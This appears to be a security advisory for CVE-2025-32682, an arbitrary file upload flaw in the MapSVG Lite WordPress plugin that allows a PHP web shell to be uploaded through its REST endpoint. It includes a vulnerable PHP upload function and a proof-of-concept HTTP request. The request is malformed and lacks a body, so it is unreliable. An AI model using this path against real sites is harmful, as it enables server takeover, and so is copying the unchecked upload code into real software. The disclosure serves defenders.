 WordPress MapSVG Lite Plugin <= 8.5.34 is vulnerable to Arbitrary File Upload 

介绍

# 🐚 CVE-2025-32682 - Arbitrary File Upload in MapSVG Lite <= 8.5.34

## 📌 Plugin Details
- **Name:** MapSVG Lite
- **Affected Version:** <= 8.5.34
- **Vulnerability Type:** Arbitrary File Upload
- **CVE ID:** CVE-2025-32682
- **Published Date:** 15 April, 2025
- **CVSS Score:** 9.9 (Critical)

---

## 💥 Vulnerability Summary
The `MapSVG Lite` plugin for WordPress does not validate file types when uploading SVG files via its REST API endpoint:

```
/wp-json/mapsvg/v1/svgfile
```

This allows an authenticated attacker (Subscriber+) to upload arbitrary PHP files disguised as SVG, resulting in remote code execution (RCE).

---

## 📎 Proof of Concept (POC) - Raw HTTP Request
```http
POST /wp-json/mapsvg/v1/svgfile HTTP/1.1

Host: 192.168.100.74:888

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept-Encoding: gzip, deflate, br

Referer: http://target.com/wp-admin/admin.php?page=mapsvg-config

X-WP-Nonce: 4febb3ff50

}

```

### 🔍 Vulnerable Code Snippet
The following vulnerable code snippet from the `mapsvg-lite-interactive-vector-maps.php` file highlights the issue:
```php
public function uploadSVG() {
    $file = $_FILES['file'];
    $upload = wp_upload_bits($file['name'], null, file_get_contents($file['tmp_name']));
    return new \WP_REST_Response(["file" => $upload], 200);
}
```
- ❌ **No filetype check**
- ❌ **No extension validation**
- ❌ **No sanitization of file contents**

This function is directly mapped to the REST endpoint `/wp-json/mapsvg/v1/svgfile`.

---

## 🧠 Exploitation Requirements
- ✅ Requires authentication (Subscriber+)
- 🛑 No filetype or content validation

## ☠️ Impact
Exploitation of this vulnerability allows an attacker to upload a `.php` web shell to the `/wp-content/uploads/mapsvg/` directory and execute arbitrary commands on the server.
